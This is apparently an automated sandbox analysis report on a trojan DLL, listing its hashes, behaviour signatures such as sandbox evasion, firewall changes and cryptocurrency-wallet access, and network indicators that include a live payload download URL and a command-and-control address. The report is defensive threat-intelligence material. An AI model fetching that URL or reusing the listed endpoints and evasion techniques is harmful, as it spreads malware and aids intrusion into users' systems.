Windows Analysis Report
T8TY28UxiT.dll

Overview

General Information

Sample name: T8TY28UxiT.dll
renamed because original name is a hash value
Original sample name: e0fa9d4894017e66af927bd72df16793.dll
Analysis ID: 1528465
MD5: e0fa9d4894017e66af927bd72df16793
SHA1: b504698acb8d172488277c4fc24a819b1009fdf3
SHA256: fca664019d4465e2f9382c47da8acdf6739ee598191bd748c836a5f752031ad2
Tags: 32dllexetrojan
Infos:

Detection

Score: 96
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
AI detected suspicious sample
Modifies the windows firewall
Queries sensitive battery information (via WMI, Win32_Battery, often done to detect virtual machines)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Tries to access browser extension known for cryptocurrency wallets
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses ipconfig to lookup or modify the Windows network settings
Uses netsh to modify the Windows network and firewall settings
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
One or more processes crash
PE file contains sections with non-standard names
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: T8TY28UxiT.dll ReversingLabs: Detection: 15%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 95.0% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8201F0 BCryptGenRandom,SystemFunction036, 12_2_6C8201F0
Source: ybtrrus.exe Binary or memory string: -----BEGIN RSA PUBLIC KEY-----
Uses 32bit PE files
Source: T8TY28UxiT.dll Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL
Source: T8TY28UxiT.dll Static PE information: DYNAMIC_BASE, NX_COMPAT
Source: Binary string: g2m.pdb source: rundll32.exe, 0000000C.00000002.1908516008.000000006C85D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.1962876857.000000006C85D000.00000002.00000001.01000000.00000003.sdmp, T8TY28UxiT.dll
Source: Binary string: d:\Projects\WinRAR\rar\build\unrardll32\Release\unrar.pdb source: rundll32.exe, 0000000C.00000003.1880320269.000000000316E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1934185341.0000000004D87000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 0000001C.00000002.2706441073.000000006FE65000.00000002.00000001.01000000.00000008.sdmp, ybtrrus.exe, 00000021.00000002.2704695699.000000006EA25000.00000002.00000001.01000000.0000000C.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C831F00 CloseHandle,memset,FindFirstFileW,FindClose, 12_2_6C831F00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8316F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError, 12_2_6C8316F0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE4C2D0 FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError, 28_2_6FE4C2D0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_0545FB74 FindFirstFileW,FindClose, 28_2_0545FB74
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_0545F590 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW, 28_2_0545F590
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467CC6 FindFirstFileW, 28_2_05467CC6
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467DCE GetLogicalDriveStringsW, 28_2_05467DCE
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_5080fa819e61b36dbd2b7e7e74bdf5c819fed0_7522e4b5_75dffb69-1a82-4980-a5db-ce9131bf24b7\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fcdd551db92618d3725e94eeb7507dfc72111acd_7522e4b5_17fea6c8-cf23-47b2-9980-606d9795cdc0\ Jump to behavior

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 147.45.116.5 80 Jump to behavior
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /FANTASMA/0101.zip HTTP/1.1accept: */*host: 147.45.116.5
Source: global traffic HTTP traffic detected: GET /FANTASMA/0101.zip HTTP/1.1accept: */*host: 147.45.116.5
Source: global traffic HTTP traffic detected: GET /index.php?user-PC HTTP/1.1accept: */*host: 147.45.116.5
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 213.188.196.246 213.188.196.246
Source: Joe Sandbox View IP Address: 213.188.196.246 213.188.196.246
Source: Joe Sandbox View IP Address: 128.138.140.44 128.138.140.44
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.116.5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C829F50 recv,WSAGetLastError, 12_2_6C829F50
Source: global traffic HTTP traffic detected: GET /FANTASMA/0101.zip HTTP/1.1accept: */*host: 147.45.116.5
Source: global traffic HTTP traffic detected: GET /FANTASMA/0101.zip HTTP/1.1accept: */*host: 147.45.116.5
Source: global traffic HTTP traffic detected: GET /index.php?user-PC HTTP/1.1accept: */*host: 147.45.116.5
Source: unknown HTTP traffic detected: POST /Telemetry.Request HTTP/1.1Connection: Keep-AliveUser-Agent: MSDWMSA_DeviceTicket: t=EwC4AlN5BAAUIUShNzVa+rgHy/M+tY/dQyCg+nEAAXBrTo6GpVG+a/F07nLY4GwrROiHN3GVqlB2N3du6sxXuKsMQ1130qDvTz+q2HBXpFGc3PiHCZemHYSb8zJL/iLm/5Et8cElx68GAzWGPwtbxSbc9ME2j414o08EGJbvauYNRd0dSt1+6yFFoEyl6pK2doAkX2AoEUvErkNXG/Vbr5g+OA7TQBJXD8hbEmP+sVb1d+RplEZOTiQO8mcnTQpFYuKBfztbYOqMPDpj66DZCZZXpUP/X36i6CGfWXWD3UWG6rk2de44YyrFwFCPMvjEByEfDEtZraYWJ59q82cb9v+7CO7yJ+rnvg87IsbQ2n+qjhHBLAi8ZawAPpvCsyIQZgAAEC3HA6pDPcB69DpBE+pZV/iAAX8LoENP47Jn3JWABHPXLh9eXapQG9//YtH0pfnVyO2E0kPsobnWZPxmLQGSfNy5A6IeGmPpT10ihk2JbwG5qYSSq87pJa11+gM4hoqQIlqAZCRwFqrZGgETeevsscJfkwggkFhRBgqmkd0d6tpe3CllLw35YmoCyie1TKR0BHYziqMcwclyCx5i++fm2nLq5er4D22Woypix44QWP1jjwlCQIAsAoGHBmFYrUu8/qLjJpz5/DKDgvu0IkP8emsBp23YKdqbfTaVPf5REEfn+deZrhdg2GeidPQGePkTEzE3KYGhFdw+Cph2bD9ubZoLBdc/U+2yKEI411BlhmLH3S2lgmL4j6avNbZ/E2A7DoZk02rLajyUy7UAB+IU46PNidlW3r5tHdNPVzwS3TfDK1iDYrnqP8BAZ+Fk7xJcj6C7CmYS+z0djTdloyO2OqdLtyDtFcxrzObaGcF4F/+VAnX07GOSD1e+PmRK+mCINixNM30S5nPkAK/ldw6dzIhi6LUB&p=Content-Length: 4658Host: umwatson.events.data.microsoft.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 21:24:27 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 274Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 34 37 2e 34 35 2e 31 31 36 2e 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 147.45.116.5 Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 21:24:27 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 274Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 34 37 2e 34 35 2e 31 31 36 2e 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 147.45.116.5 Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 21:24:27 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 274Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 34 37 2e 34 35 2e 31 31 36 2e 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 147.45.116.5 Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 21:24:27 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 274Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 34 37 2e 34 35 2e 31 31 36 2e 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 147.45.116.5 Port 80</address></body></html>
Source: rundll32.exe, rundll32.exe, 0000000C.00000002.1908516008.000000006C85D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000C.00000002.1907739906.00000000030FA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.1961701319.000000000303A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.1962876857.000000006C85D000.00000002.00000001.01000000.00000003.sdmp, T8TY28UxiT.dll String found in binary or memory: http://147.45.116.5/FANTASMA/0101.zip
Source: rundll32.exe, 00000013.00000002.1961701319.000000000303A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.116.5/FANTASMA/0101.zipc
Source: rundll32.exe, 0000000C.00000002.1907739906.00000000030FA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.1961701319.000000000303A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.116.5/index.php
Source: rundll32.exe, 0000000C.00000002.1907739906.00000000030FA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.1961701319.000000000303A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.116.5/index.php?user-PC
Source: rundll32.exe, 0000000C.00000002.1907739906.00000000030FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.116.5/index.phpxU_
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://code.google.com/p/swfobject/
Source: rundll32.exe, 0000000C.00000002.1907873298.000000000316D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1934897398.0000000004D87000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA.crl0q
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://dev.w3.org/html5/websockets/
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://fontawesome.io
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://fontawesome.io/license/
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://fontawesome.iohttp://fontawesome.iohttp://fontawesome.io/license/http://fontawesome.io/licens
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://gimite.net/en/
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://javascript.crockford.com/jsmin.html
Source: rundll32.exe, 0000000C.00000002.1907873298.000000000316D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1934897398.0000000004D87000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0&
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://tools.ietf.org/html/rfc6455
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.embarcadero.com/products/delphi
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://www.esegece.com
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp, ybtrrus.exe, 0000001C.00000002.2653315436.00000000029BE000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2653795251.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 0000002F.00000002.2124550236.0000000002A0E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.foolabs.com/xpdf
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.ghisler.com/plugins.htm
Source: ybtrrus.exe, 0000001C.00000002.2657419183.0000000006B57000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 0000001C.00000002.2691639077.00000000077AC000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.0000000006C67000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 00000021.00000002.2693218645.000000000777C000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.000000000661F000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 0000002F.00000003.2048238374.000000000779C000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.indyproject.org/
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: rundll32.exe, 0000000C.00000003.1881319232.000000000316E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1934897398.0000000004D87000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com.&nbsp;
Source: ybtrrus.exe, 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp, ybtrrus.exe, 0000001C.00000002.2650636704.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2650668938.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000003.1963237274.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 0000002F.00000002.2123620807.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 0000002F.00000003.1998212742.0000000000E98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/bugRepMailer.php
Source: ybtrrus.exe, 00000021.00000002.2650668938.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000003.1963237274.0000000000E87000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/bugRepMailer.php(E~
Source: ybtrrus.exe, 00000021.00000003.1963237274.0000000000E87000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/bugRepMailer.phpiE
Source: ybtrrus.exe, 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/buynow?bld=%d
Source: ybtrrus.exe, 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/buynow?bld=%dS
Source: ybtrrus.exe, 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/checkupdates.php?product=bc3&minor=
Source: ybtrrus.exe, 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/download.php
Source: ybtrrus.exe, 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/download.phpS
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/support.php
Source: ybtrrus.exe, 00000021.00000002.2653795251.0000000002BA3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/upgrade
Source: ybtrrus.exe, 0000001C.00000002.2653315436.0000000002AA3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/upgrade0
Source: ybtrrus.exe, 00000021.00000002.2650668938.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/upgrade6%
Source: ybtrrus.exe, 0000001C.00000002.2650636704.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/upgradeeow.a
Source: ybtrrus.exe, 0000001C.00000002.2650636704.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2650668938.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2650668938.0000000000E8B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.scootersoftware.com/upgradeite
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.scootersoftware.com/v3formats
Source: ybtrrus.exe, 0000001C.00000002.2653315436.0000000002AA3000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp, ybtrrus.exe, 00000021.00000002.2653795251.0000000002BA3000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 0000002F.00000002.2124550236.0000000002B10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.secureblackbox.com
Source: ybtrrus.exe, 0000002F.00000002.2124550236.0000000002B10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.secureblackbox.com1)
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: http://www.totalcmd.net/directory/packer.html
